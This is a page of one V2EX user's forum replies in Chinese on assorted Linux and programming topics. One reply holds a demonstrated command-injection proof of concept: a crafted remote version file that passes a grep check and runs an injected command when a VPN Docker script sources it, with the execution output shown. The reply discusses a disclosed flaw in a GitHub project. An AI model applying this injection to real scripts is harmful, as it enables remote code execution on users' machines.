V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
V2EX  ›  liuxu  ›  全部回复第 23 页 / 共 145 页
回复总数  2897
1 ... 19  20  21  22  23  24  25  26  27  28 ... 145  
2022-01-14 13:08:37 +08:00
回复了 dangyuluo 创建的主题 Linux 为什么编译起来 aarch64 比 x86_64 要慢,单核 benchmark 却相反
@ragnaroks 我以为的原生支持就是没有虚拟化就算,不是按 fps 算的吧
2022-01-14 12:53:04 +08:00
回复了 dangyuluo 创建的主题 Linux 为什么编译起来 aarch64 比 x86_64 要慢,单核 benchmark 却相反
@dangyuluo 给我整无语了,一个精简指令集编译的东西,一个复杂指令集编译的东西,编译目标都不一样时间自然不一样,没有没多线程编译,开了各开的多少也不说,nvme 同一型号还说的过去。。都是 64G 内存,aarch 的内存能和 x86 的内存能是同一型号么。。内存带宽能一样吗
bench 跑的都是 cpu 指令速度,编译不仅 cpu ,还有磁盘 io ,内存速度,这也能问为什么

注册了七八年的号,年纪也不小了,初中生都理解的逻辑,一个在沙地跑,一个在水泥地跑,为什么一个快一个慢?

两句话就 block ,互联网容忍傻逼的能力还是太强了
2022-01-14 11:02:57 +08:00
回复了 dangyuluo 创建的主题 Linux 为什么编译起来 aarch64 比 x86_64 要慢,单核 benchmark 却相反
x86-64 编译 64 位 x86 的目标程序,aarch64 编译 64 位 aarch 的目标程序吗,你说为什么
2022-01-14 10:54:20 +08:00
回复了 yuxing1171 创建的主题 程序员 你认为什么是 10 倍程序员
@singerll 大多数国际路由优化,10s 优化到 1s 没人鸟你,但你能把 1s 优化到 100ms ,是相当美滋滋的,例如上海到洛杉矶的延迟,可惜得先有两台超光速交换机
不是不支持,是价格确实太感人
virmach cpu 限制很严格,编译机直接 vultr ,按分钟扣费
2022-01-08 14:12:14 +08:00
回复了 Suanxing 创建的主题 程序员 7 年塔罗占卜经历的 U3D 前端,可以提供一对一塔罗占卜
有点意思,以后再有人说我代码有 bug ,我就说他心绪混乱未集中注意力,他静心理清心绪就看不见了
2022-01-05 19:22:43 +08:00
回复了 acbot 创建的主题 Linux Linux 有没有系统事件通知订阅功能。
udev 用起来很简单
2022-01-04 10:06:28 +08:00
回复了 oxogenesis 创建的主题 程序员 除了我还有谁在用 WTFPL
6 年前就在用了,我在 V2EX 的第一帖,还把站长搞来了,233
https://v2ex.com/t/215479#reply106

@krixaar 没想到还有免责风险,那我以后也用这个协议 /doge
2022-01-04 09:48:03 +08:00
回复了 xuegy 创建的主题 Linux 求一个智能打包到 tar 的脚本
@beginor 回帖消耗 5 铜币,被楼主点赞获得 10 铜币,利润 5 铜币

楼主用 python 写脚本吧
2022-01-04 09:31:27 +08:00
回复了 devliu1 创建的主题 GitHub 在 github 仓库 指出潜在的安全隐患后 被删 issue
@2i2Re2PLMaDnghL
@hwdsl2

最新的 commit grep 前 head 版本返回第一行,grep 进行单行验证,我这边验证没安全问题了

https://github.com/hwdsl2/docker-ipsec-vpn-server/commit/b01c7d8951cc9c797791b96ff1bfd46ac336862b
2022-01-03 20:23:16 +08:00
回复了 devliu1 创建的主题 GitHub 在 github 仓库 指出潜在的安全隐患后 被删 issue
@2i2Re2PLMaDnghL

#17 你是对的,我给想混了,把 grep 想成管道过滤输出了,怎么在 if 里面这么想。。

按你的方法,我利用成功了

测试脚本,模仿 run.sh

gentoo-s-1vcpu-1gb-amd-nyc3-01 /tmp # cat test.sh
#!/bin/bash

swan_ver_file="/tmp/tmp_version"
swan_ver="1.2";
swan_ver_latest=$(wget -qO- "http*s://www.xxx.com/test.txt");

#echo $swan_ver_latest;
#printf '%s' "$swan_ver_latest" | grep -Eq '^([3-9]|[1-9][0-9]{1,2})(\.([0-9]|[1-9][0-9]{1,2})){1,2}$';

if printf '%s' "$swan_ver_latest" | grep -Eq '^([3-9]|[1-9][0-9]{1,2})(\.([0-9]|[1-9][0-9]{1,2})){1,2}$' \
&& [ -n "$swan_ver" ] && [ "$swan_ver" != "$swan_ver_latest" ] \
&& printf '%s\n%s' "$swan_ver" "$swan_ver_latest" | sort -C -V; then
printf '%s\n' "swan_ver_latest='$swan_ver_latest'" > "$swan_ver_file"
fi
if [ -s "$swan_ver_file" ]; then
. "$swan_ver_file"
cat <<EOF
Note: A newer version of Libreswan ($swan_ver_latest) is available.
To update this Docker image, see: http*s://git.io/updatedockervpn
EOF
fi


wget exploit 代码:

gentoo-s-1vcpu-1gb-amd-nyc3-01 /tmp # cat /var/www/www.xxx.com/test.txt
999.999.998'
999.999.999
echo "hello world"
zz'


执行结果:

gentoo-s-1vcpu-1gb-amd-nyc3-01 /tmp # sh ./test.sh
/tmp/tmp_version: line 2: 999.999.999: command not found
hello world
/tmp/tmp_version: line 4: zz: command not found
Note: A newer version of Libreswan (999.999.998) is available.
To update this Docker image, see: http*s://git.io/updatedockervpn


楼主的猜测没问题,如果作者想利用这个步骤攻击,可以在某个时期段注入攻击代码,然后再恢复正常,很难被人发现,唯一可控的就是 docker 环境隔离了宿主机

但考虑到是 vpn ,存在被利用搭建管道,建议不要使用
2022-01-03 18:49:01 +08:00
回复了 devliu1 创建的主题 GitHub 在 github 仓库 指出潜在的安全隐患后 被删 issue
@devliu1

作者通过 source 给当前 docker 环境注入一个环境变量没有什么不妥

换个说法,作者建了一座楼,没问题,然后你在楼下拉了个横幅在说“我感觉这楼有安全问题,要塌”,然后作者跟你说没安全问题,把横幅扔到垃圾桶,你觉得这个作者的行为有什么问题么

还是说你感觉不妥,应该继续放楼下展示,给大家提个醒,万一真的会塌呢
2022-01-03 17:47:17 +08:00
回复了 devliu1 创建的主题 GitHub 在 github 仓库 指出潜在的安全隐患后 被删 issue
@ryd994

按你贴的代码确实有问题,但是你只截了别人一段代码。。。

别人的源代码是这样的 https://github.com/hwdsl2/docker-ipsec-vpn-server/blob/d305867bccdd70121d079cfa82c8a68c115f469f/run.sh#L638-L659

# Check for new Libreswan version
swan_ver_file="/opt/src/swanver"
if [ ! -f "$swan_ver_file" ]; then
touch "$swan_ver_file"
ipsec_ver=$(ipsec --version 2>/dev/null)
swan_ver=$(printf '%s' "$ipsec_ver" | sed -e 's/.*Libreswan U\?//' -e 's/\( (\|\/K\).*//')
swan_ver_url="https://dl.ls20.com/v1/docker/$os_type/$os_arch/swanver?ver=$swan_ver&ver2=$IMAGE_VER&i=$status"
swan_ver_latest=$(wget -t 3 -T 15 -qO- "$swan_ver_url")
if printf '%s' "$swan_ver_latest" | grep -Eq '^([3-9]|[1-9][0-9]{1,2})(\.([0-9]|[1-9][0-9]{1,2})){1,2}$' \
&& [ -n "$swan_ver" ] && [ "$swan_ver" != "$swan_ver_latest" ] \
&& printf '%s\n%s' "$swan_ver" "$swan_ver_latest" | sort -C -V; then
printf '%s\n' "swan_ver_latest='$swan_ver_latest'" > "$swan_ver_file"
fi
fi
if [ -s "$swan_ver_file" ]; then
. "$swan_ver_file"
cat <<EOF
Note: A newer version of Libreswan ($swan_ver_latest) is available.
To update this Docker image, see: https://git.io/updatedockervpn
EOF
fi

你只截 if 内部的代码,而不贴 if 的代码,也不谈论利用环境。。

首先这个脚本是 sh 执行,不存在其他人通过 http 请求注入问题。。

唯一有问题的是作者给 swan_ver_url 加入了 exploit 代码,但是下面的 if 条件

printf '%s' "$swan_ver_latest" | grep -Eq '^([3-9]|[1-9][0-9]{1,2})(\.([0-9]|[1-9][0-9]{1,2})){1,2}$' &&

首先会通过 grep 验证是否为 xx.xx 的数字版本号,成功才会继续之下&&后面的代码,所以本身就有了防注入功能,而他这个和 sql 注入一点关系都没有,别拿 sql 注入的常识放在这里。。后面就是在当前环境设置 swan_ver_latest 这个环境变量而已。。


回楼主

linux 下软件和系统版本信息放在文件中本身就是很通用的做法。。自己去 /etc 、/proc 和 /sys 下去看。。

你们还在扯 docker 隔离问题,linux kernel 官方自己没隔离 cpu 内存这些信息。。

所以确实不存在安全问题。。
2022-01-02 23:53:03 +08:00
回复了 mingl0280 创建的主题 C++ 问个关于内存对齐的问题
@mingl0280 客气
2022-01-01 00:39:14 +08:00
回复了 gzf6 创建的主题 程序员 新年好!
新年好
2022-01-01 00:39:00 +08:00
回复了 cw2k13as 创建的主题 Linux 求推荐一个小白入手的 Linux 桌面版
@vashthewhite Arch 一套走不下来就对 linux say 拜拜了

linux 桌面版,ubuntu 没有对手,硬件支持是最好的,linux 界可以和 mac 和 win10 对齐
2021-12-29 12:48:21 +08:00
回复了 ddd270700 创建的主题 NGINX 用 nginx 反代用友软件报 404 错误,有偿求助
你先在你的 nginx 服务器上访问 http://10.108.11.149/U9/,看看能不能访问吧,path 应该是有问题的
1 ... 19  20  21  22  23  24  25  26  27  28 ... 145  
关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   实用小工具   ·   3496 人在线   最高记录 6679   ·     Select Language
创意工作者们的社区
World is powered by solitude
VERSION: 3.9.8.5 · 45ms · UTC 04:21 · PVG 12:21 · LAX 21:21 · JFK 00:21
Developed with CodeLauncher
♥ Do have faith in what you're doing.